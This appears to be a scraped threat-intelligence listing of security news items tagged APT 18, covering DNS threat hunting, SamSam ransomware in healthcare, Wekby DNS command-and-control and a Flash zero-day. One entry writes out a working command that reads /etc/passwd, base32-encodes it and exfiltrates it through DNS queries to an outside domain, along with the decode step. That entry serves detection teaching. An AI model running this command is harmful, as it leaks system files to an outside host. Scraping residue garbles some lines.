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Date (GMT) |
Titre |
Description |
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Stories |
Notes |
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2019-08-14 21:45:48 |
Threat hunting using DNS firewalls and data enrichment (lien direct) |
After seeing a few advertisements about DNS firewalls and how expensive they are, I want to share my experience with blue teamers about how DNS firewalls work and how that knowledge can be used for in-house threat hunting solutions and/or building your own DNS firewall (aka do it yourself). These are examples of an approach to detect malicious behaviour, not a tailor made solutions.At the beginning I would like to highlight that it's a good practice to monitor not only logs but also DNS traffic in real time. Such traffic isn't encrypted and if you only check DNS server logs then you can miss direct requests to other DNS servers. Additionally you can also use recently published version of Sysmon [https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon] which supports DNS queries in event ID 22 (DNSEvent).The DNS queries used below that end with |
Spam
Malware
Threat
Guideline
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APT 18
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2018-12-20 14:00:00 |
Let\'s Chat: Healthcare Threats and Who\'s Attacking (lien direct) |
Healthcare is under fire and there’s no sign of the burn slowing.
Look, it’s no secret that hackers have been targeting hospitals and other healthcare providers for several years — and probably no surprise that healthcare is one of the top target industries for cybercrime in 2018. In the US alone, in fact, more than 270 data breaches affecting nearly 12 million individuals were submitted to the U.S. HHS Office for Civil Rights breach portal (as of November 30, 2018). This includes the likes of unauthorized access or disclosures of patient data, hacking, theft of data, data loss and more.
Bottom line, if you’re tasked with protecting any entity operating in the healthcare sector, you’re likely experiencing some very sleepless nights — and may just need a doctor yourself.
So . . . who’s wreaking all this havoc and how? According to AlienVault Labs, opportunistic ransomware is still a preferred method of attack. However, researchers are reporting a rise in the number of targeted ransomware attacks in the healthcare sector. These attacks are often backed by organized criminals who see opportunities for making money from healthcare providers and other similar entities who must protect and keep assets, systems, and networks continuously operating.
One such criminal group operating the SamSam ransomware is thought to have earned more than $5 million dollars by manually compromising critical healthcare networks (see below for more info). The group behind SamSam has invested heavily in their operations (likely an organized crime syndicate) and has won the distinction of being the subjects of two FBI Alerts in 2018.
And, according to AlienVault Labs, the methods used by SamSam are more akin to a targeted attack than typical opportunistic ransomware. SamSam attacks also seem to go in waves. One of the most notable was a spring 2018 hit on a large New York hospital which publicly declined to pay the attacker’s $44,000 ransomware demand. It took a month for the hospital’s IT system to be fully restored.
SamSam attackers are known to:
Gain remote access through traditional attacks, such as JBoss exploits
Deploy web-shells
Connect to RDP over HTTP tunnels such as ReGeorg
Run batch scripts to deploy the ransomware over machines
SamSam isn’t going away either. AlienVault Labs has seen recent variants. You might want to read more about the threat actors behind SamSam, their methods of attacks, and recommendations for heading |
Threat
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Wannacry
APT 19
APT 18
APT 22
APT 23
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2017-04-20 07:07:42 |
DNS Query Length... Because Size Does Matter, (Thu, Apr 20th) (lien direct) |
In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass securitycontrols. DNS tunnelling is a common way to establish connections with remote systems. It is often based on TXT records used to deliver the encoded payload. TXT records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.
Instead of using TXT records, data exfiltration may occur directly via the FQDN (Fully Qualified Domain Name). The RFC 1035[1] states that a DNS query length is255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data instrings compatible with the DNS requirements: A-Z, 0-9 and - padding:5px 10px">
$ cat /etc/passwd | base32 -w 63 | while read L
do
dig $L.data.rootshell.be @192.168.254.8
done
Note: the parameter -w 63 padding:5px 10px">
$ grep data.rootshell.be queries.log
20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)
...
To decode this on the attacker padding:5px 10px">
$ grep data.rootshell.be queries.log | cut -d -f8 | cut -d . -f1| base32 -d | more
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...
We don padding:5px 10px">
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep A\? .*\.data\.rootshell\.be
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
172.x.x.x.40335 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.35770 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.41463 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
172.x.x.x.38048 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
...
As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularlythe query length. The following graph width:770px" />
But, as usual, not all big DNS queries are suspicious. Some CDNs padding:5px 10px">
hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf
To reduce the risk of false positives, this control can be combined with others:
The volume of traffic per IP
The volume of traffic per (sub-)domain
White-lists
This technique is not new but comes back regularly |
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APT 18
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 |
2016-05-25 16:10:43 |
Wekby hacker gang using DNS requests in new malware campaign (lien direct) |
A long-time hacker group is using DNS requests as a command-and-control mechanism in a new series of malware attacks. |
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APT 18
|
|
 |
2016-05-24 18:30:30 |
New Wekby Attacks Use DNS Requests As Command and Control Mechanism (lien direct) |
We have observed an attack led by the APT group Wekby targeting a US-based organization in recent weeks. Wekby is a group that has been active for a number of years, targeting various industries such… |
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APT 18
|
|
 |
2015-07-13 08:31:00 |
Démontrant Hustle, les groupes de l'APT chinois utilisent rapidement une vulnérabilité zéro-jour (CVE-2015-5119) après une fuite d'équipe de piratage Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak (lien direct) |
Le Fireeye en tant qu'équipe de service a détecté des campagnes de phishing indépendantes menées par deux groupes de menace persistante avancés chinois (APT) que nous suivons, APT3 et APT18.Chaque groupe de menaces a rapidement profité d'une vulnérabilité zéro-jour (CVE-2015-5119), qui a été divulguée dans la divulgation des données internes de l'équipe de piratage.Adobe a publié un patch pour la vulnérabilité le 8 juillet 2015. Avant ce patcha été publié, les groupes ont lancé des campagnes de phishing contre plusieurs sociétés de l'aérospatiale et de la défense, de la construction et de l'ingénierie, de l'éducation, de l'énergie
The FireEye as a Service team detected independent phishing campaigns conducted by two Chinese advanced persistent threat (APT) groups that we track, APT3 and APT18. Each threat group quickly took advantage of a zero-day vulnerability (CVE-2015-5119), which was leaked in the disclosure of Hacking Team\'s internal data. Adobe released a patch for the vulnerability on July 8, 2015. Before that patch was released, the groups launched phishing campaigns against multiple companies in the aerospace and defense, construction and engineering, education, energy |
Vulnerability
Threat
|
APT 18
APT 3
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★★★★
|